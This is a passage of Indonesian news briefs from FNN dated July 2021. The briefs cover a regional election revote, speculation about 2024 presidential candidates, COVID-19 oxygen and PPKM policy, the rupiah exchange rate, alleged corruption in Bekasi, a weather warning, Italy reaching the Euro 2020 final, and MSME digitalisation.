kabupaten/kota secara berkelanjutan. "Kegiatan tersebut dilakukan guna mempermudah proses pemutakhiran data dan penyusunan daftar pemilih pada Pemilu/Pemilihan berikutnya," katanya. (sws)

Kapolda dan Danrem Tinjau Pelaksanaan PSU Sabu Raijua

Seba, Sabu Raijua, FNN - Kepala Kepolisian Daerah Nusa Tenggara Timur (NTT) Irjen Pol Lotharia Latif bersama Komandan Korem 161/Wirasakti Kupang Brigjen TNI Legowo Jatmiko meninjau pelaksanaan Pemungutan Suara Ulang (PSU) Pilkada Sabu Raijua, Rabu. Keberangkatan Kapolda NTT dan Danrem ke Sabu Raijua itu menggunakan pesawat khusus Polri dari Bandara El Tari Kupang, bersama dengan sejumlah pejabat Polda NTT dan juga Korem 161/Wirasakti Kupang. Kabid Humas Polda NTT Kombes Pol Rishian Krisna B saat dalam perjalanan menuju Sabu Raijua, di Kupang, Rabu, mengatakan bahwa Kapolda dan Danrem ingin memastikan pelaksanaan PSU di kabupaten itu berjalan aman dan damai. "Bapak Kapolda dan Danrem ingin memastikan bahwa pelaksanaan PSU Pilkada Bupati dan Wakil Bupati Sabu Raijua berjalan aman dan lancar," katanya. Kapolda, lanjut mantan Kapolres Timor Tengah Utara (TTU), sudah menegaskan bahwa akan menindak dengan tegas siapa pun yang berani mengganggu keamanan dan ketertiban pelaksanaan PSU tersebut. Sebanyak 170 personel dari Polda NTT dan Brimob Polda NTT, menurut dia, sudah diterjunkan untuk mengamankan jalannya pemungutan suara ulang tersebut. Pada Rabu hari ini, PSU Pilkada Sabu Raijua dilaksanakan. Ada dua pasangan calon bupati dan wakil bupati yang bersaing dalam pemilihan kepala daerah tersebut, setelah sebelumnya kemenangan bupati terpilih Orient Riwu Kore dibatalkan oleh Mahkamah Konstitusi. Kedua pasangan calon peserta PSU itu, yakni paslon nomor urut 1, Nikodemus N. Rihi Heke dan Yohanis Uly Kale, dan paslon nomor urut 3, Takem Irianto Radja Pono dan Herman Hegi Radja Haba. (sws)

Sejumlah Tokoh Diyakini Berpeluang Jadi Bakal Capres dan Cawapres 2024

Jakarta, FNN - Sebanyak lebih dari 10 tokoh yang di antaranya merupakan pimpinan partai politik dan kepala daerah diprediksi oleh beberapa pengamat politik dapat menjadi bakal calon presiden dan calon wakil presiden pada Pemilihan Presiden (Pilpres) 2024. Menurut pengamat politik, pada sebuah acara diskusi di Jakarta, Rabu, 10 tokoh itu berpeluang jadi bakal capres dan cawapres pada Pilpres 2024 karena mereka punya modal popularitas dan tingkat keterpilihan (elektabilitas) yang cukup. Setidaknya, ada tiga klaster yang memisahkan 10 tokoh masyarakat itu, yaitu klaster kepala daerah, klaster ketua partai politik, dan klaster pejabat pemerintah/kelompok profesional, demikian pendapat dari Direktur Eksekutif PARA Syndicate Ari Nurcahyo dan Direktur Eksekutif Surveylink Indonesia (Sulindo) Wempy Hadir saat acara diskusi. Ari dan Wempy sepakat ada empat figur kepala daerah yang berpotensi jadi bakal capres dan bakal cawapres pada 2024, yaitu Gubernur Jawa Tengah Ganjar Pranowo, Gubernur DKI Jakarta Anies Baswedan, Gubernur Jawa Timur Khofifah Indar Parawansa, dan Gubernur Jawa Barat Ridwan Kamil. Sementara itu, ada lima sampai enam nama dari kelompok kader partai politik yang diyakini berpeluang maju, yaitu Ketua Umum Partai Gerindra Prabowo Subianto, Ketua Umum Partai Golkar Airlangga Hartarto, Ketua Umum PDI Perjuangan Puan Maharani, Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono, Ketua Umum Partai Kebangkitan Bangsa (PKB) Muhaimin Iskandar, dan Wakil Ketua Dewan Pembina Partai Gerindra Sandiaga S Uno. Terakhir, nama-nama dari kelompok profesional yang juga diyakini berpotensi maju jadi bakal capres dan cawapres nanti, yaitu Menteri BUMN Erick Thohir; Menteri Koordinator Bidang Politik, Hukum, dan Keamanan Mahfud MD; Susi Pudjiastuti yang pernah menjabat sebagai menteri kelautan dan perikanan; Jenderal TNI (Purn) Gatot Nurmantyo, mantan panglima TNI; dan Kepala Staf Kepresidenan Jenderal TNI (Purn) Moeldoko. Untuk kelompok kepala daerah, Wempy menyebut Anies dan Ganjar jadi dua figur yang paling unggul dibandingkan dengan nama-nama lainnya. Jika diukur dari tingkat popularitas, kesukaan dan tingkat elektabilitas, hanya ada dua, Anies dan Ganjar. Saya kira figur Khofifah dan Ridwan Kamil kemungkinan sulit dilirik partai politik untuk diusung jadi capres dan cawapres,” ucap Wempy. Ia turut menunjukkan hasil survei-nya bahwa tingkat popularitas Anies Baswedan mencapai 86,4 persen, sementara Ganjar Pranowo 63,9 persen, Ridwan Kamil 70 persen dan Khofifah 51 persen. Untuk tingkat elektabilitas, Anies memimpin dengan perolehan angka sekitar 15 persen, Ganjar 13 persen, Ridwan Kamil 4,9 persen, dan Khofifah 1,3 persen. Sementara itu, pada kelompok ketua partai politik, Wempy mengatakan Prabowo Subianto akan menjadi figur yang paling unggul mengingat tingkat popularitas-nya dan elektabilitas-nya jauh berada di atas tokoh-tokoh lainnya. Tingkat popularitas Prabowo mencapai 93 persen, sementara Sandiaga S Uno 86 persen, Agus Harimurti Yudhoyono 72 persen, Puan Maharani 59,5 persen, Muhaimin Iskandar 40,9 persen, dan Airlangga Hartarto 36,6 persen. Sementara itu, pada kelompok profesional, Wempy menyebut ada tiga tokoh yang unggul, yaitu Susi Pudjiastuti, Mahfud MD, dan Erick Thohir. Jika dihitung dari tingkat efektivitas elektabilitas, Wempy menyebut Ganjar Pranowo paling unggul apabila dibandingkan dengan nama-nama lainnya. “Tingkat efektivitas elektabilitas itu cara mengujinya sederhana, yaitu tingkat elektabilitas dibagi tingkat popularitas,” tutur Wempy. Tingkat efektivitas elektabilitas Ganjar mencapai angka 0,26, diikuti oleh Prabowo 0,25, Anies Baswedan 0,18, Sandiaga S Uno 0,08, Ridwan Kamil 0,07, Agus Harimurti Yudhoyono 0,07, Muhaimin Iskandar 0,06, Airlangga Hartarto 0,03, Mahfud MD 0,03, dan terakhir Puan Maharani 0,01. (sws)

Partai NasDem Puji Kebijakan Pengadaan Oksigen Tangani Pasien COVID-19

Jakarta, FNN - Ketua Koordinator Bidang Kebijakan Publik dan Isu Strategis DPP Partai NasDem, Suyoto, memuji kebijakan pemerintah untuk merespon kelangkaan oksigen di rumah sakit dalam menangani pasien COVID-19. "Kami mengapresiasi pemerintah yang telah mengambil langkah-langkah ekstra cepat dan tepat," kata Suyoto dalam keterangan tertulisnya, di Jakarta, Rabu. Pemerintah, melalui Kemenko Kemaritiman dan Investasi RI telah menginstruksikan produsen oksigen agar mengalihkan produksi dari oksigen industri menjadi oksigen untuk kesehatan. Kebijakan tersebut, kata dia, sangat membantu pengadaan stok oksigen untuk masyarakat dan rumah sakit. Pemerintah juga sudah membuat pemetaan terkait prioritas pemenuhan kebutuhan oksigen. Dalam hal ini pemerintah sudah punya peta tentang pihak yang kebutuhan oksigen-nya segera harus dipenuhi, dan pihak yang pemenuhan kebutuhan-nya bisa ditunda. "Artinya, kebijakan pemerintah sudah terencana dan tepat," ujarnya. Tak hanya pemerintah, Suyoto juga mengapresiasi perusahaan swasta yang telah membantu penyediaan oksigen. "Kita salut, banyak perusahaan besar, melalui CSR-nya ikut membantu mengatasi kelangkaan oksigen," kata Suyoto. Yang lebih menggembirakan lagi, lanjut dia, terbangun semangat gotong royong di tengah-tengah masyarakat untuk saling membantu dalam pengadaan oksigen. Semangat ini menunjukkan soliditas nasional semakin berkembang. "Suasana seperti ini tentu harus dilanjutkan dan dikembangkan, karena bisa menjadi energi positif untuk melawan COVID-19. NasDem mengapresiasi tumbuhnya gotong royong kebangsaan dan kemanusiaan untuk pengadaan dan pemenuhan kebutuhan oksigen. Mari kita lanjutkan langkah bersama menghadapi pandemik COVID-19," tutur-nya. Suyoto juga menyampaikan terima kasih kepada pemerintah negara-negara sahabat yang telah menyumbangkan oksigen ke Indonesia sebagai wujud solidaritas dan semangat saling membantu. "Sumbangan dari negara-negara sahabat kita apresiasi. Dulu kita menyumbang ke luar, sekarang mereka yang memberikan sumbangan," ujarnya. (sws)

Menag Gemakan Tagar #PrayFromHome pada Momen PPKM Darurat

Jakarta, FNN - Menteri Agama Yaqut Cholil Qoumas menggemakan ajakan berdoa dari rumah dengan tagar #PrayFromHome pada momen kebijakan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. "Ikhtiar dlohir sudah dan akan terus dilakukan pemerintah. Bukan hanya itu, ikhtiar batin juga terus dilangitkan. Semoga pandemi lekas sirna. Ayo kita semua #PrayFromHome," cuit Menag melalui akun twitternya, di Jakarta Rabu. Pemerintah memberlakukan PPKM darurat pada 3 - 20 Juli 2021. Lima hari berselang, ajakan memanfaatkan momentum PPKM untuk berdoa dari rumah menggema di dunia maya. Ajakan ini disuarakan dengan tagar #PrayFromHome. Masyarakat dari berbagai lapisan ikut menyuarakan hal ini. Grup band Slank pada Rabu (7/7) malam akan mengadakan doa lintas iman untuk Indonesia sehat, sekaligus ikut meramaikan tagar #PrayFromHome. "Malam ini! ayo bergabung dalam 'Doa Bareng Slank & Slankers-Doa lintas Iman untuk Indonesia Sehat' yang diselenggarakan secara virtual, didukung oleh Makara Art Center Universitas Indonesia," cuit slankdotcom. Koordinator GusDurian Alissa Wahid mengajak masyarakat untuk tidak mengabaikan wabah. Dia mengatakan jangan hanya menjadi saleh atau saleha dengan beribadah saja. "Jangan memandang orang salih itu yang ibadahnya di masjid, mengabaikan wabah. Jadilah muslih/muslihah, orang yang membawa kebaikan. Beribadahlah di rumah, karena ingin #salingjaga sesama warga, #PrayFromHome," cuitnya. Tagar #PrayFromHome menjadi salah satu trending di Twitter. Sampai pukul 13.30 WIB Rabu sudah lebih 11.600 cuitan yang menyertakan tagar tersebut. Tak hanya trending di Twitter, tagar #PrayFromHome juga menggema di Instagram dan Facebook. (sws)

Gubernur Jambi: Tugas Pertama dari Presiden Jokowi Agar Tekan COVID-19

Jakarta, FNN - Gubernur Jambi 2021-2024 Al Haris mengungkapkan tugas pertama yang ia terima dari Presiden Joko Widodo seusai dilantik adalah untuk menekan penyebaran COVID-19 di provinsi tersebut. "Tentunya tugas kami yang pertama adalah bagaimana menekan angka COVID-19 di Jambi," kata Al Haris di Istana Negara Jakarta, Rabu. Haris mengungkapkan hal tersebut seusai mengucapkan sumpah jabatan di hadapan Presiden Jokowi bersama dengan Wakil Gubernur Jambi 2021-2024 Abdullah Sani. Keduanya dilantik berdasarkan surat Keputusan Presiden Nomor 93 P tahun 2021 tertanggal 2 Juli 2021 tentang Pengesahan dan Pengangkatan Gubernur dan Wakil Gubernur Jambi 2021-2024. "(Tugas) kedua sekaligus juga kami akan memulihkan ekonomi Jambi tentunya yang merupakan juga tujuan nasional kita yaitu memulihkan ekonomi nasional," tutur Haris menambahkan. Kedua hal tersebut menurut Haris terkait dengan pandemik COVID-19 yang sedang melanda Indonesia. "Saya kira karena kita sedang kondisi COVID-19, kita sedang berjibaku bagaimana melawan COVID-19 sehingga daerah aman, rakyat aman sehingga kita bisa bekerja seperti sedia kala," ungkap Haris. Al Haris dan Abdullah Sani saat mengucapkan sumpah jabatan mengenakan masker ganda dan menjaga jarak. Pelantikan itu dihadiri oleh undangan terbatas antara lain Wakil Presiden Ma'ruf Amin, Menteri Koordinator bidang Politik, Hukum dan Keamanan Mahfud MD, Menteri Dalam Negeri Tito Karnavian, Sekretaris Kabinet Pramono Anung serta pejabat terkait lain dalam jumlah yang terbatas. Berdasarkan data Satgas COVID-19, total warga yang terpapar COVID-19 hingga 6 Juli 2021 adalah 2.345.018 orang dengan penambahan 31.189 pasien dibandingkan 5 Juli 2021 dengan angka kematian mencapai 61.868 dan angka kesembuhan 1.958.553. Sedangkan di Jambi sendiri hingga 6 Juli 2021, ada 13.511 orang yang terpapar COVID-19 (penambahan 58 kasus dibanding 5 Juli 2021) dengan total kematian sebanyak 284 orang dan jumlah pasien yang sembuh adalah 11.815 pasien. (sws)

Berdikari Jaga Kepastian Stok Hewan Kurban Jelang Idul Adha

Jakarta, FNN - PT Berdikari (Persero) sebagai BUMN klaster pangan menjaga kepastian stok hewan kurban menjelang Hari Raya Idul Adha, serta produk inovatif Domba Kaleng sesuai dengan standar ASUH (Aman, Sehat, Utuh, & Halal). "Berdikari ingin memastikan bahwa masyarakat dapat mengakses hewan kurban dengan harga dan kualitas yang baik, serta produk inovatif Domba Kaleng sesuai dengan standar ASUH,” ujar Direktur Utama Berdikari Harry Warganegara dalam keterangan tertulis di Jakarta, Rabu. Harry mengatakan dalam situasi meningkatnya pandemi saat ini, berkurban tetap dapat dilakukan dengan mengutamakan manfaat yang lebih besar bagi kemaslahatan umat. Menjelang hari raya Idul Adha serta pasca pemberlakuan PPKM Darurat oleh pemerintah, dibutuhkan suatu kepastian stok hewan kurban yang berkualitas, dan terjangkau. Sebagai BUMN Peternakan, Berdikari hadir di tengah masyarakat dengan memasarkan hewan kurban sapi dan domba yang terjamin kualitasnya dengan harga terjangkau, dan produk inovatif berupa Domba Kaleng yang mengedepankan kemudahan pengiriman, ready to eat dan mengindahkan protokol kesehatan di masa pandemi untuk tidak memotong hewan kurban dalam keramaian warga. Domba kurban dalam bentuk kaleng memiliki masa simpan yang lebih lama, diproses secara higienis & halal yang tersertifikasi, menjadikan produk domba kurban dalam bentuk kaleng sesuai prinsip ASUH (Aman, Sehat, Utuh, & Halal). Solusi yang ditawarkan Berdikari adalah memasarkan hewan kurban yang telah disembelih di Rumah Pemotongan Hewan (RPH) sehingga lebih higienis dan sesuai syariat. Dagingnya kemudian diolah dalam kemasan sehingga dapat diberikan ke kaum dhuafa yang membutuhkan dimana pun juga. Selain Domba Kaleng, Berdikari juga dapat menyiapkan daging sapi dalam kemasan untuk kebutuhan hewan kurban sesuai permintaan. Berdikari tidak hanya menawarkan solusi inovatif dengan hewan kurban dalam kemasan, namun juga solusi distribusi dan pengiriman melalui Berdikari Logistik Indonesia, salah satu anak usaha perusahaan. Sinergi yang kuat membuat hewan kurban dapat didistribusikan dengan aman dan tepat waktu, sehingga kebutuhan berkurban masyarakat mulai dari Sabang sampai Merauke dapat terpenuhi. Jangkauan pengiriman hewan kurban, terutama yang sudah dalam kemasan, dapat dikirimkan ke berbagai daerah di seluruh pulau Sumatera, Jawa, Kalimantan, Sulawesi, Kalimantan, Papua, dan sekitarnya. Sehingga distribusi serta pemasaran hewan kurban tidak terbatas di Jabodetabek saja, mulai dari Malang, Lampung, Palembang, Sampang, hingga daerah lainnya di Indonesia dapat terjangkau. Sampai sekarang, Berdikari telah menjalin kerja sama penyediaan kebutuhan hewan kurban atau pun memasarkan hewan kurban dengan NU Care – LAZIZNU Jakarta Selatan, sesama BUMN Klaster Pangan, Perum Perhutani, PT Pupuk Indonesia (Persero), PT Bank Mandiri (Persero) Tbk, PT PTPN VII, PT Pelabuhan Indonesia II (Persero) dan calon mitra BUMN lainnya. Selain kepada lembaga, Berdikari juga memasarkan hewan kurban dengan harga yang kompetitif kepada masyarakat langsung. Untuk stok juga dipastikan aman, karena berdikari sendiri menargetkan penjualan sapi hingga 600 ekor, penjualan domba hingga 2.200 ekor, dan Domba Kaleng lebih dari 1.000 kaleng. Pasokan Selama PPKM Darurat Selain itu, Berdikari juga telah menyiapkan pasokan protein daging selama Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. Direktur Utama Berdikari, Harry Warganegara menyampaikan bahwa seluruh jajaran Berdikari telah diinstruksikan untuk menggunakan seluruh instrumen mulai dari perdagangan bisnis ke bisnis hingga kepada akses masyarakat langsung melalui ritel online Gerai Daging Berdikari di Tokopedia dan Grabmart. Sampai dengan 31 Juni 2021, stok daging yang tersedia di penyimpanan Berdikari lebih dari 95 ton terdiri dari 64,06 Ton karkas daging ayam dan 31,03 Ton karkas daging sapi. Selain stok karkas, Berdikari juga telah memesan sekitar 560 Ton daging sapi beku dari Brazil dalam rangka mempersiapkan kebutuhan dalam waktu dekat. Berdikari menyediakan akses kepada masyarakat untuk pemenuhan protein hewani yang berkualitas, aman, dan dengan harga terjangkau. Hal tersebut menjadi fokus Berdikari sebagai bagian dari BUMN Klaster Pangan, termasuk mengupayakan kepastian pasokan Hewan Kurban hidup maupun dalam kemasan yang menjadi solusi kebutuhan masyarakat di tengah pemberlakuan PPKM Darurat ini. (mth)

Rupiah Rabu Pagi Melemah Seiring Potensi Kebijakan Ketat The Fed

Jakarta, FNN - Nilai tukar (kurs) rupiah yang ditransaksikan antarbank di Jakarta pada Rabu pagi melemah seiring investor yang mencermati potensi dilakukannya kebijakan moneter ketat oleh The Fed ke depan. Rupiah dibuka melemah 15 poin atau 0,1 persen ke posisi Rp14.485 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp14.470 per dolar AS. Pengamat pasar uang Ariston Tjendra saat dihubungi di Jakarta, Rabu, mengatakan, rupiah mungkin berbalik melemah pada Rabu ini karena pelaku pasar mengantisipasi rilis notulen rapat kebijakan moneter bank sentral AS The Fed dini hari nanti. "Notulen ini bisa memberikan indikasi potensi kebijakan moneter bank sentral AS akan lebih ketat ke depannya yang bisa mendorong penguatan dolar AS," ujar Ariston. Sementara dari dalam negeri, kasus baru harian COVID-19 yang terus naik dan memecahkan rekor, masih menjadi kekhawatiran pasar yang bisa menekan rupiah. "Bila terus naik, dikhawatirkan PPKM darurat akan berlangsung lebih lama dan ini akan menekan pertumbuhan ekonomi Indonesia," kata Ariston. Pada Selasa (6/7), jumlah kasus baru COVID-19 mencapai 31.189 kasus, rekor baru kasus harian di Tanah Air, sehingga total kasus terkonfirmasi positif COVID-19 menjadi 2.345.018 kasus. Pagi ini, lanjut Ariston, pasar juga menunggu data cadangan devisa Bank Indonesia. "Data yang menunjukkan cadangan devisa masih bertahan di level tinggi, bisa menahan pelemahan rupiah," ujar Ariston. Ariston mengatakan rupiah pada Rabu ini berpotensi bergerak melemah ke arah Rp14.520 per dolar AS dengan potensi support di kisaran Rp14.450 per dolar AS. Pada Selasa (6/7), rupiah ditutup menguat 7 poin atau 0,04 persen ke posisi Rp14.470 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp14.477 per dolar AS. Yuan Melemah Yuan merosot 149 basis poin menjadi 6,4762 terhadap dolar AS pada perdagangan Rabu, berbalik melemah dari kenaikan dua hari berturut-turut masing-masing 82 basis poin dan 17 basis poin, menurut Sistem Perdagangan Valuta Asing China (CFETS). Di pasar spot valuta asing China, yuan diperbolehkan naik atau turun sebesar dua persen dari tingkat paritas tengahnya setiap hari perdagangan. Kurs tengah yuan terhadap dolar AS didasarkan pada rata-rata tertimbang harga yang ditawarkan oleh pelaku pasar sebelum pembukaan pasar uang antarbank pada setiap hari kerja. (mth)

Dugaan Korupsi dan Pungli di DBMSDA Kota Bekasi

Jakarta, FNN - Koordinator Center for Budget Analysis (CBA) Jajang Nurjaman meminta Komisi Pemberantasan Korupsi (KPK) memanggil dan memeriksa Kepala Dinas Bina Marga dan Sumber Daya Air (DBMSDA) Kota Bekasi Arief Maulana terkait dugaan penyimpangan anggaran dan dugaan pungli. Ditemukan dugaan penyimpangan anggaran dalam proyek Lanjutan Tahap 2 Pembangunan Fly Over Jalan Siliwangi Simpang Cipendawa – Bojong Menteng yang dilaksanakan tahun 2019 dengan nilai proyek Rp142.048.549.600 dan dugaan praktik pungli kepada warga terkait pekerjaan DBMSDA di Kelurahan Kranji Kecamatan Bekasi Barat. Dalam pelaksanaan proyek Lanjutan Tahap 2 Pembangunan Fly Over Jalan Siliwangi Simpang Cipendawa – Bojong Menteng, CBA menduga dibumbui permainan kotor oleh oknum DBMSDA. Pertama, dugaan markup anggaran sebesar Rp 39,8 miliar karena nilai kontrak yang disepakati pihak DBMSDA sangat mahal. Kedua dalam pekerjaan proyek oleh PT MWT tidak sesuai perjanjian kontrak, sedikitnya terdapat 7 pekerjaan yang bermasalah. Misalnya pengecoran tiang bor beton diameter 1.200 mm yang seharusnya dikerjakan 948 meter sama sekali tidak dikerjakan, Pengecoran Tiang Bor Beton Diameter 1.500 mm yang seharusnya dikerjakan 700 meter juga tidak dikerjakan, atau pemancangan tiang pancang beton pratekan pracetak diameter 600 mm yang seharusnya dikerjakan 5.960 meter yang dkerjakan hanya 2.957 meter. Seperti tidak puas dengan dugaan "permainan proyek bernilai ratusan miliar", Dinas Bina Marga dan Sumber Daya Air Kota Bekasi juga diduga melalukan pungli kepada warga melalui Surat permohonan bantuan dana dengan kepala surat Rukun Tetangga 001 RW 002 Kelurahan Kranji Kecamatan Bekasi Barat tanda tangan lurah kranji pada tanggal 01 Juni 2021. Berdasarkan temuan di atas, CBA mendorong KPK segera turun tangan melakukan penyelidikan atas proyek Lanjutan Tahap 2 Pembangunan Fly Over Jalan Siliwangi Simpang Cipendawa – Bojong Menteng, dan dugaan pungli terkait proyek DBMSDA di Kranji. Panggil dan periksa pihak-pihak terkait khususnya Arief Maulana selaku Kepala Dinas DBMSDA Kota Bekasi. (mth)

BMKG: Waspadai Potensi Hujan Lebat-Angin Kencang di Sejumlah Provinsi

Jakarta, FNN - Badan Meteorologi Klimatologi dan Geofisika (BMKG) mengingatkan masyarakat untuk mewaspadai potensi hujan lebat disertai kilat dan angin kencang yang dapat terjadi di sejumlah provinsi di Indonesia pada Rabu. Dalam sistem peringatan dini cuaca, BMKG memprakirakan wilayah yang berpotensi mengalami hujan lebat yang dapat disertai petir dan angin kencang melingkupi Bali, Gorontalo, Jambi. Kemudian Kalimantan Selatan, Kalimantan Tengah, Kalimantan Timur, Kalimantan Utara, Lampung, Maluku, Maluku Utara, NTB, Papua, Papua Barat. Lalu di Riau, Sulawesi Barat, Sulawesi Selatan, Sulawesi Tengah, Sulawesi Tenggara, Sulawesi Utara dan Sumatera Selatan. Khusus di wilayah DKI Jakarta, pada Rabu cenderung cerah berawan hampir di semua wilayah sejak pagi hingga malam hari. Begitu pula di Jawa Barat yang cenderung cerah berawan pada siang hari dan berawan pada malam hari di seluruh kabupaten/kota. Sementara itu, BMKG meminta masyarakat di Aceh untuk waspada potensi angin kencang di wilayah Sabang, Banda Aceh, Aceh Jaya dan Pantai Barat Aceh. BMKG juga mengeluarkan peringatan diri gelombang tinggi di sejumlah perairan di Indonesia akibat adanya sistem tekanan rendah (1007hPa) di Samudera Hindia bagian barat Sumatera. Pola angin di wilayah Indonesia bagian utara dominan bergerak dari tenggara ke barat daya dengan kecepatan angin berkisar 5 sampai 25 knot. Sedangkan di wilayah Indonesia bagian selatan dominan bergerak dari timur ke tenggara dengan kecepatan angin berkisar 5 sampai 25 knot. Kecepatan angin tertinggi terpantau di Perairan utara Sabang, Laut Natuna utara, dan Samudra Hindia selatan Jawa. Tinggi gelombang 2,5 hingga 4 meter berpeluang terjadi di Selat Malaka bagian utara, perairan utara Sabang, perairan barat Aceh, perairan barat Pulau Simeuleu- Kep. Mentawai, perairan barat Pulau Enggano-Bengkulu, perairan barat Lampung. Kemudian, Samudra Hindia barat Sumatera, Selat Sunda bagian barat dan selatan, perairan selatan Jawa hingga Sumba, Selat Bali-Lombok-Alas bagian selatan, Samudra Hindia selatan Jawa hingga NTT, dan laut Natuna utara. BMKG meminta waspada risiko terhadap keselamatan pelayaran. Perahu nelayan (kecepatan angin lebih dari 15 knot dan tinggi gelombang di atas 1.25 m), kapal tongkang (kecepatan angin lebih dari 16 knot dan tinggi gelombang di atas 1.5 m), kapal Ferry (kecepatan angin lebih dari 21 knot dan tinggi gelombang di atas 2.5 m). Kapal ukuran besar seperti kapal kargo/pesiar (kecepatan angin lebih dari 27 knot dan tinggi gelombang di atas 4.0 m). Kemudian kepada masyarakat yang tinggal dan beraktivitas di pesisir sekitar area yang berpeluang terjadi gelombang tinggi agar tetap selalu waspada. (mth)

Kekuatan Mental Lontarkan Italia ke Final Euro 2020

Jakarta, FNN - Hanya tiga tahun setelah rasa sakit dan terhina akibat gagal lolos ke putaran final Piala Dunia, Italia kini malah tinggal satu kemenangan lagi untuk dinobatkan sebagai juara Eropa setelah menang adu penalti melawan Spanyol yang memastikan tempat di final Euro 2020 di Stadion Wembley, Minggu (11/7). Inggris atau Denmark menunggu tim Roberto Mancini yang tak pernah menghasilkan permainan sepak bola menggembirakan selama mereka tampilkan dalam awal turnamen, berhasil mendapatkan kekuatan dan ketabahan guna melewati perpanjangan waktu dan kemudian tampil tenang sekali dalam adu penalti. Tidak ada yang berani menyangkal bahwa tim Mancini yang tak terkalahkan itu merupakan finalis yang pantas, berdasarkan seluruh kiprah mereka dalam turnamen ini, sekalipun Spanyol merasa merekalah tim yang lebih baik dalam semifinal tadi itu. Sekarang sudah 33 pertandingan sejak Italia terakhir kali merasakan kekalahan dan kebiasaan menang itu terpamerkan. Adu penalti bukanlah 'lotre', seperti kadang disebut demikian, namun hasilnya juga tidak dapat dijelaskan dengan mudah, mengingat berbagai faktor teknis dan psikologis yang bermain di baliknya. Namun demikian, Italia menunjukkan kekuatan dan kepercayaan diri sejati saat mereka bangkit kembali dari tendangan penalti pembuka yang gagal dari Manuel Locatelli, untuk memasukkan empat tendangan penalti berikutnya, termasuk Jorginho yang dingin mengeksekusi penalti. Itu adalah kekuatan mental yang sama yang membantu Italia mengatasi penguasaan bola yang terbatas untuk waktu lama tatkala pemain Spanyol Pedri menjajah lini tengah dengan tak henti memamerkan operan tepat sasaran. Dani Olmo akan menyesal bahwa upaya-upaya golnya tidak setepat dengan umpan Pedri itu, tetapi sebaliknya dia sangat bagus dengan terus-menerus mencari celah sehingga membersitkan pertanyaan mengenai lini belakang Italia. Sebuah terobosan cepat dari tim Italia, yang berpuncak kepada penyelesaian berkelas dari Federico Chiesa, membawa Azzurri unggul pada waktu tepat satu jam. Ini adalah gol yang menunjukkan apa yang telah ditanamkan Mancini kepada timnya. Kiper Gianluigi Donnarumma cepat dan waspada saat sodoran cerdasnya meluncur saat jeda dan Chiesa dengan pasti mengarahkan bola ke sudut jauh. Dan setelah Alvaro Morata yang masuk lapangan dari bangku cadangan menyamakan kedudukan pada menit ke-80, Italia tak terlihat terpojok atau panik menghadapinya, tidak pula patah arang. Justru gambaran pertahanan membaja Italia yang sudah menjadi ciri khas dan fokus kepada tekanan yang energik dan ketepatan di sepertiga terakhir lapangan yang menjadi kunci adanya transformasi yang dilakukan Mancini kepada sebuah tim yang memalukan bangsa tiga tahun lalu. Mereka percaya satu sama lain, mereka percaya kepada pelatih mereka dan bahwa kepercayaan diri dan persatuan telah melontarkan mereka ke final. Azzurri seketika menciptakan dampak dalam turnamen ini lewat penampilan menawan mereka dalam penyisihan grup dengan mengalahkan Turki dan Swiss semuanya dengan 3-0. Para pakar memuji energi dan ketepatan tim Mancini tetapi pada fase gugur mereka telah menunjukkan bahwa mereka masih memiliki kualitas sepak bola Italia yang lebih tradisional. Mereka membutuhkan waktu tambahan untuk melewati hadangan Austria pada 16 besar dan kemudian menang 2-1 atas Belgia dengan disiplin sebelum melewati ujian terberat mereka. Donnarumma adalah pahlawan setelah menangkis tendangan penalti Morata yang melahirkan kemenangan dan dia dengan cepat menunjukkan kualitas yang telah membawa timnya selama ini. "Kami tinggal selangkah lagi mewujudkan impian kami. Spanyol sangat kuat, tetapi tim Italia ini sangat berani , kami tidak pernah menyerah," kata dia seperti dikutip Reuters. (mth)

Anggota DPR Dorong Penguatan Digitalisasi UMKM Berbasis Data Tunggal

Jakarta, FNN - Anggota Komisi VI DPR Nevi Zuairina mendorong kebijakan dan alokasi anggaran yang memadai dalam rangka mewujudkan penguatan digitalisasi UMKM berbasis data tunggal secara nasional. “Anggaran untuk digitalisasi UMKM sangat penting untuk meningkatkan penjualan produk UMKM dalam masa pandemi ini," kata Nevi Zuairina dalam siaran pers di Jakarta, Rabu. Saat ini, lanjut Nevi, pandemi COVID-19 telah menyebabkan perubahan perilaku masyarakat dalam berbelanja, yang lebih menyukai belanja secara daring. Ia mengingatkan pula bahwa jumlah UMKM yang sudah menggunakan teknologi digital baru mencapai 12 juta pelaku usaha berdasarkan data Kementerian Koperasi UKM per Februari 2021. “Ini artinya baru 13 persen dari total 64 juta pelaku UMKM, masih sangat kecil," jelas Nevi. Nevi merujuk pada Undang Undang No.11/2020 tentang Cipta Kerja, dimana ada pengaturan kebijakan 40 persen belanja barang dan jasa pemerintah diperuntukkan bagi UMKM. Untuk itu, ujar dia, amanah UU Cipta kerja tersebut harus dioptimalkan khususnya pada masa pandemi, misalnya dengan belanja barang dan jasa BUMN bisa melibatkan UMKM, sehingga UMKM masuk dalam rantai pasok bagi industri di BUMN dan perusahaan swasta. “Ketika digitalisasi UMKM dan perbaikan data ini sudah terbentuk dengan kokoh, ke depannya diharapkan akan terjadi banyak efisiensi dan efektifitas dalam menjalankan usaha di kalangan UMKM. UMKM secara bertahap pada setiap levelnya secara berkala dapat merubah levelnya yang mikro jadi kecil, yang kecil jadi menengah dan yang menengah sudah keluar dari lingkaran UMKM," kata Nevi. Sebelumnya, Peneliti Center for Indonesian Policy Studies (CIPS) Noor Halimah Anjani menyatakan program digitalisasi kepada UMKM saat ini semakin mendesak dengan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. "Program digitalisasi yang bersifat jangka panjang dan berkesinambungan harus menjadi fokus dari pemerintah. Penting bagi pemerintah untuk memastikan UMKM dapat bertahan selama masa PPKM Darurat dan setelahnya," kata Noor Halimah Anjani dalam keterangan tertulis di Jakarta, Selasa. Noor menyatakan, PPKM darurat berpeluang besar meningkatkan tren transaksi ekonomi digital sehingga peluang ini perlu dimanfaatkan oleh UMKM, yang belum semua sudah beroperasi secara digital. Ia mengingatkan bahwa data Kementerian Koperasi dan UMKM menunjukkan, baru 16 persen dari 64 juta UMKM di Indonesia yang sudah terhubung dalam ekosistem ekonomi digital. "Penelitian yang dilakukan Danareksa Research Institute juga memperlihatkan adanya kesenjangan digital antara UMKN yang mulai 